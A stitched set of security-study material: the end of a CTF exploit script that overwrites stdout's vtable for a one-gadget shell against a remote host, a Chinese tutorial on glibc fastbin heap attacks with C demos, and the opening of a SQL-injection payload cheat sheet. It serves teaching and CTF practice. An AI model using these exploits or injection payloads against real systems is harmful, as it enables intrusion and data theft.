RCE` buffer = StringIO() buffer.write("A" * 0x39) buffer.write(p64(libc_va + 0x3c5710)) # `_IO_2_1_stdout_.vtable` buffer.write("B" * 8) buffer.write(p64(libc_va + 0x3c5620)) # preserve `stdout` buffer.write("C" * 0x18) buffer.write(p64(libc_va + 0x0f1147)) # `one gadget RCE` modified_write_host_memory(4, buffer.getvalue()) connection.interactive() context.log_level = "debug" with remote("34.236.229.208", 9999) as connection: exploit(connection)
sec-knowleage
### Fastbin Attack介绍 fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是: * 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞 * 漏洞发生于 fastbin 类型的 chunk 中 如果细分的话,可以做如下的分类: - Fastbin Double Free - House of Spirit - Alloc to Stack - Arbitrary Alloc 其中,前两种主要漏洞侧重于利用 `free` 函数释放**真的 chunk 或伪造的 chunk**,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 `fd` 指针,直接利用 `malloc` 申请指定位置 chunk 进行攻击。 ### Fastbin Attack原理 fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。 我们来看一下 fastbin 是怎样管理空闲 chunk 的。 ``` int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x30); chunk2=malloc(0x30); chunk3=malloc(0x30); //进行释放 free(chunk1); free(chunk2); free(chunk3); return 0; } ``` 释放前 ``` 0x602000: 0x0000000000000000 0x0000000000000041 <=== chunk1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk ``` 执行三次 free 进行释放后 ``` 0x602000: 0x0000000000000000 0x0000000000000041 <=== chunk1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2 0x602050: 0x0000000000602000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3 0x602090: 0x0000000000602040 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk ``` 此时位于 main_arena 中的 fastbin 链表中已经储存了指向 chunk3 的指针,并且 chunk 3、2、1构成了一个单链表 ``` Fastbins[idx=2, size=0x30,ptr=0x602080] ===>Chunk(fd=0x602040, size=0x40, flags=PREV_INUSE) ===>Chunk(fd=0x602000, size=0x40, flags=PREV_INUSE) ===>Chunk(fd=0x000000, size=0x40, flags=PREV_INUSE) ``` ### Fastbin Double Free介绍 Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆(type confused)的效果。 Fastbin Double Free 能够成功利用主要有两部分的原因 1. fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空 2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。 ``` /* Another simple check: make sure the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; } ``` ### Fastbin Double Free演示 下面的示例程序说明了这一点,当我们试图执行以下代码时 ``` int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk1); return 0; } ``` 如果你执行这个程序,不出意外的话会得到如下的结果,这正是 _int_free 函数检测到了 fastbin 的 double free。 ``` *** Error in `./tst': double free or corruption (fasttop): 0x0000000002200010 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fbb7a36c7e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fbb7a37537a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fbb7a37953c] ./tst[0x4005a2] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fbb7a315830] ./tst[0x400499] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 1052570 /home/Ox9A82/tst/tst 00600000-00601000 r--p 00000000 08:01 1052570 /home/Ox9A82/tst/tst 00601000-00602000 rw-p 00001000 08:01 1052570 /home/Ox9A82/tst/tst 02200000-02221000 rw-p 00000000 00:00 0 [heap] 7fbb74000000-7fbb74021000 rw-p 00000000 00:00 0 7fbb74021000-7fbb78000000 ---p 00000000 00:00 0 7fbb7a0df000-7fbb7a0f5000 r-xp 00000000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fbb7a0f5000-7fbb7a2f4000 ---p 00016000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fbb7a2f4000-7fbb7a2f5000 rw-p 00015000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fbb7a2f5000-7fbb7a4b5000 r-xp 00000000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a4b5000-7fbb7a6b5000 ---p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a6b5000-7fbb7a6b9000 r--p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a6b9000-7fbb7a6bb000 rw-p 001c4000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a6bb000-7fbb7a6bf000 rw-p 00000000 00:00 0 7fbb7a6bf000-7fbb7a6e5000 r-xp 00000000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7fbb7a8c7000-7fbb7a8ca000 rw-p 00000000 00:00 0 7fbb7a8e1000-7fbb7a8e4000 rw-p 00000000 00:00 0 7fbb7a8e4000-7fbb7a8e5000 r--p 00025000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7fbb7a8e5000-7fbb7a8e6000 rw-p 00026000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7fbb7a8e6000-7fbb7a8e7000 rw-p 00000000 00:00 0 7ffcd2f93000-7ffcd2fb4000 rw-p 00000000 00:00 0 [stack] 7ffcd2fc8000-7ffcd2fca000 r--p 00000000 00:00 0 [vvar] 7ffcd2fca000-7ffcd2fcc000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] 已放弃 (核心已转储) ``` 如果我们在 chunk1 释放后,再释放 chunk2 ,这样 main_arena 就指向 chunk2 而不是 chunk1 了,此时我们再去释放 chunk1 就不再会被检测到。 ``` int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); return 0; } ``` 注意因为 chunk1 被再次释放因此其 fd 值不再为 0 而是指向 chunk2,这时如果我们可以控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。 下面这个示例演示了这一点,首先跟前面一样构造 main_arena=>chunk1=>chun2=>chunk1的链表。之后第一次调用 malloc 返回 chunk1 之后修改 chunk1 的 fd 指针指向 bss 段上的 bss_chunk,之后我们可以看到 fastbin 会把堆块分配到这里。 ``` typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void) { void *chunk1,*chunk2,*chunk3; void *chunk_a,*chunk_b; bss_chunk.size=0x21; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); chunk_a=malloc(0x10); *(long long *)chunk_a=&bss_chunk; malloc(0x10); malloc(0x10); chunk_b=malloc(0x10); printf("%p",chunk_b); return 0; } ``` 在我的系统上 chunk_b 输出的值会是 0x601090,这个值位于bss段中正是我们之前设置的`CHUNK bss_chunk` ``` Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/Ox9A82/tst/tst 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/Ox9A82/tst/tst 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/Ox9A82/tst/tst 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] 0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000021 0x601090 <bss_chunk+16>:0x0000000000000000 0x0000000000000000 0x6010a0: 0x0000000000000000 0x0000000000000000 0x6010b0: 0x0000000000000000 0x0000000000000000 0x6010c0: 0x0000000000000000 0x0000000000000000 ``` 值得注意的是,我们在 main 函数的第一步就进行了`bss_chunk.size=0x21;`的操作,这是因为_int_malloc会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。 ``` *** Error in `./tst': malloc(): memory corruption (fast): 0x0000000000601090 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f8f9deb27e5] /lib/x86_64-linux-gnu/libc.so.6(+0x82651)[0x7f8f9debd651] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f8f9debf184] ./tst[0x400636] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f8f9de5b830] ./tst[0x4004e9] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 1052570 /home/Ox9A82/tst/tst 00600000-00601000 r--p 00000000 08:01 1052570 /home/Ox9A82/tst/tst 00601000-00602000 rw-p 00001000 08:01 1052570 /home/Ox9A82/tst/tst 00bc4000-00be5000 rw-p 00000000 00:00 0 [heap] 7f8f98000000-7f8f98021000 rw-p 00000000 00:00 0 7f8f98021000-7f8f9c000000 ---p 00000000 00:00 0 7f8f9dc25000-7f8f9dc3b000 r-xp 00000000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f8f9dc3b000-7f8f9de3a000 ---p 00016000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f8f9de3a000-7f8f9de3b000 rw-p 00015000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f8f9de3b000-7f8f9dffb000 r-xp 00000000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7f8f9dffb000-7f8f9e1fb000 ---p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7f8f9e1fb000-7f8f9e1ff000 r--p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7f8f9e1ff000-7f8f9e201000 rw-p 001c4000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7f8f9e201000-7f8f9e205000 rw-p 00000000 00:00 0 7f8f9e205000-7f8f9e22b000 r-xp 00000000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7f8f9e40d000-7f8f9e410000 rw-p 00000000 00:00 0 7f8f9e427000-7f8f9e42a000 rw-p 00000000 00:00 0 7f8f9e42a000-7f8f9e42b000 r--p 00025000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7f8f9e42b000-7f8f9e42c000 rw-p 00026000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7f8f9e42c000-7f8f9e42d000 rw-p 00000000 00:00 0 7fff71a94000-7fff71ab5000 rw-p 00000000 00:00 0 [stack] 7fff71bd9000-7fff71bdb000 r--p 00000000 00:00 0 [vvar] 7fff71bdb000-7fff71bdd000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] 已放弃 (核心已转储) ``` _int_malloc 中的校验如下 ``` if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim)); return NULL; } ``` ### Fastbin Double Free总结 通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果( 首先要通过验证 ),这就相当于任意地址写任意值的效果。 ### House Of Spirit介绍 House of Spirit 是 `the Malloc Maleficarum` 中的一种技术。 该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配**指定地址**的 chunk 的目的。 要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即 - fake chunk 的 ISMMAP 位不能为1,因为 free 时,如果是 mmap 的 chunk,会单独处理。 - fake chunk 地址需要对齐, MALLOC_ALIGN_MASK - fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。 - fake chunk 的 next chunk 的大小不能小于 `2 * SIZE_SZ`,同时也不能大于`av->system_mem` 。 - fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。 至于为什么要绕过这些检测,可以参考 free 部分的源码。 ### House Of Spirit演示 这里就直接以 how2heap 上的例子进行说明,如下 ```c #include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1); fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]); fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); } ``` 运行后的效果如下 ```shell ➜ how2heap git:(master) ./house_of_spirit This file demonstrates the house of spirit attack. Calling malloc() once so that it sets up its memory. We will now overwrite a pointer to point to a fake 'fastbin' region. This region (memory of length: 80) contains two chunks. The first starts at 0x7ffd9bceaa58 and the second at 0x7ffd9bceaa88. This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems. ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size. Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffd9bceaa58. ... note that the memory address of the *region* associated with this chunk must be 16-byte aligned. Freeing the overwritten pointer. Now the next malloc will return the region of our fake chunk at 0x7ffd9bceaa58, which will be 0x7ffd9bceaa60! malloc(0x30): 0x7ffd9bceaa60 ``` ### Alloc to Stack介绍 如果你已经理解了前文所讲的 Fastbin Double Free 与 house of spirit 技术,那么理解该技术就已经不成问题了,它们的本质都在于 fastbin 链表的特性:当前 chunk 的 fd 指针指向下一个 chunk。 该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。 ### Alloc to Stack演示 这次我们把 fake_chunk 置于栈中称为 stack_chunk,同时劫持了 fastbin 链表中 chunk 的 fd 值,通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fastbin chunk。 ``` typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; int main(void) { CHUNK stack_chunk; void *chunk1; void *chunk_a; stack_chunk.size=0x21; chunk1=malloc(0x10); free(chunk1); *(long long *)chunk1=&stack_chunk; malloc(0x10); chunk_a=malloc(0x10); return 0; } ``` 通过 gdb 调试可以看到我们首先把 chunk1 的 fd 指针指向了 stack_chunk ``` 0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1 0x602010: 0x00007fffffffde60 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk ``` 之后第一次 malloc 使得 fastbin 链表指向了 stack_chunk,这意味着下一次分配会使用 stack_chunk 的内存进行 ``` 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 <=== unsorted bin 0x7ffff7dd1b28 <main_arena+8>: 0x00007fffffffde60 <=== fastbin[0] 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 ``` 最终第二次malloc返回值为0x00007fffffffde70也就是stack_chunk ``` 0x400629 <main+83> call 0x4004c0 <malloc@plt> → 0x40062e <main+88> mov QWORD PTR [rbp-0x38], rax $rax : 0x00007fffffffde70 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/Ox9A82/tst/tst 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/Ox9A82/tst/tst 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/Ox9A82/tst/tst 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fdb000 0x00007ffff7fde000 0x0000000000000000 rw- 0x00007ffff7ff6000 0x00007ffff7ff8000 0x0000000000000000 rw- 0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] ``` ### Alloc to Stack总结 通过该技术我们可以把 fastbin chunk 分配到栈中,从而控制返回地址等关键数据。要实现这一点我们需要劫持fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的size值。 ### Arbitrary Alloc介绍 Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如bss、heap、data、stack等等。 ### Arbitrary Alloc演示 在这个例子,我们使用字节错位来实现直接分配 fastbin 到**\_malloc_hook的位置,相当于覆盖_malloc_hook来控制程序流程。** ``` int main(void) { void *chunk1; void *chunk_a; chunk1=malloc(0x60); free(chunk1);    *(long long *)chunk1=0x7ffff7dd1af5-0x8; malloc(0x60); chunk_a=malloc(0x60); return 0; } ``` 这里的0x7ffff7dd1af5是我根据本机的情况得出的值,这个值是怎么获得的呢?首先我们要观察欲写入地址附近是否存在可以字节错位的情况。 ``` 0x7ffff7dd1a88 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1a90 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1a98 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1aa0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1aa8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ab0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ab8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ac0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ac8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ad0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ad8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ae0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ae8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0 0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1b00 0x20 0x2e 0xa9 0xf7 0xff 0x7f 0x0 0x0 0x7ffff7dd1b08 0x0 0x2a 0xa9 0xf7 0xff 0x7f 0x0 0x0 0x7ffff7dd1b10 <__malloc_hook>: 0x30 0x28 0xa9 0xf7 0xff 0x7f 0x0 0x0 ``` 0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址,于是我们向上寻找是否可以错位出一个合法的size域。因为这个程序是 64 位的,因此 fastbin 的范围为32字节到128字节(0x20-0x80),如下: ``` //这里的size指用户区域,因此要小2倍SIZE_SZ Fastbins[idx=0, size=0x10] Fastbins[idx=1, size=0x20] Fastbins[idx=2, size=0x30] Fastbins[idx=3, size=0x40] Fastbins[idx=4, size=0x50] Fastbins[idx=5, size=0x60] Fastbins[idx=6, size=0x70] ``` 通过观察发现 0x7ffff7dd1af5 处可以现实错位构造出一个0x000000000000007f ``` 0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0 0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1af5 <_IO_wide_data_0+309>: 0x000000000000007f ``` 因为 0x7f 在计算 fastbin index 时,是属于 index 5 的,即 chunk 大小为 0x70 的。 ```c ##define fastbin_index(sz) \ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) ``` (注意sz的大小是unsigned int,因此只占4个字节) 而其大小又包含了 0x10 的 chunk_header,因此我们选择分配 0x60 的 fastbin,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd,因此我们就可以直接控制 __malloc_hook的内容(在我的libc中__realloc_hook与__malloc_hook是在连在一起的)。 ``` 0x4005a8 <main+66> call 0x400450 <malloc@plt> → 0x4005ad <main+71> mov QWORD PTR [rbp-0x8], rax $rax : 0x7ffff7dd1afd 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000 ``` ### Arbitrary Alloc总结 Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。
sec-knowleage
# SQL Injection > A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. Attempting to manipulate SQL queries may have goals including: - Information Leakage - Disclosure of stored data - Manipulation of stored data - Bypassing authorization controls ## Summary * [CheatSheets](#cheatsheets) * [MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md) * [MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) * [OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md) * [PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) * [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md) * [Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md) * [HQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/HQL%20Injection.md) * [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md) * [Entry point detection](#entry-point-detection) * [DBMS Identification](#dbms-identification) * [SQL injection using SQLmap](#sql-injection-using-sqlmap) * [Basic arguments for SQLmap](#basic-arguments-for-sqlmap) * [Load a request file and use mobile user-agent](#load-a-request-file-and-use-mobile-user-agent) * [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragentheaderreferercookie) * [Second order injection](#second-order-injection) * [Shell](#shell) * [Crawl a website with SQLmap and auto-exploit](#crawl-a-website-with-sqlmap-and-auto-exploit) * [Using TOR with SQLmap](#using-tor-with-sqlmap) * [Using a proxy with SQLmap](#using-a-proxy-with-sqlmap) * [Using Chrome cookie and a Proxy](#using-chrome-cookie-and-a-proxy) * [Using suffix to tamper the injection](#using-suffix-to-tamper-the-injection) * [General tamper option and tamper's list](#general-tamper-option-and-tampers-list) * [SQLmap without SQL injection](#sqlmap-without-sql-injection) * [Authentication bypass](#authentication-bypass) * [Authentication Bypass (Raw MD5 SHA1)](#authentication-bypass-raw-md5-sha1) * [Polyglot injection](#polyglot-injection-multicontext) * [Routed injection](#routed-injection) * [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update) * [WAF Bypass](#waf-bypass) ## Entry point detection Detection of an SQL injection entry point Simple characters ```sql ' %27 " %22 # %23 ; %3B ) Wildcard (*) &apos; # required for XML content ``` Multiple encoding ```sql %%2727 %25%27 ``` Merging characters ```sql `+HERP '||'DERP '+'herp ' 'DERP '%20'HERP '%2B'HERP ``` Logic Testing ```sql page.asp?id=1 or 1=1 -- true page.asp?id=1' or 1=1 -- true page.asp?id=1" or 1=1 -- true page.asp?id=1 and 1=2 -- false ``` Weird characters ```sql Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') ``` ## DBMS Identification ```c ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"], ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"], ["@@CONNECTIONS>0" ,"MSSQL"], ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"], ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"], ["USER_ID(1)=USER_ID(1)" ,"MSSQL"], ["ROWNUM=ROWNUM" ,"ORACLE"], ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"], ["LNNVL(0=123)" ,"ORACLE"], ["5::int=5" ,"POSTGRESQL"], ["5::integer=5" ,"POSTGRESQL"], ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"], ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"], ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"], ["current_database()=current_database()" ,"POSTGRESQL"], ["sqlite_version()=sqlite_version()" ,"SQLITE"], ["last_insert_rowid()>1" ,"SQLITE"], ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"], ["val(cvar(1))=1" ,"MSACCESS"], ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" 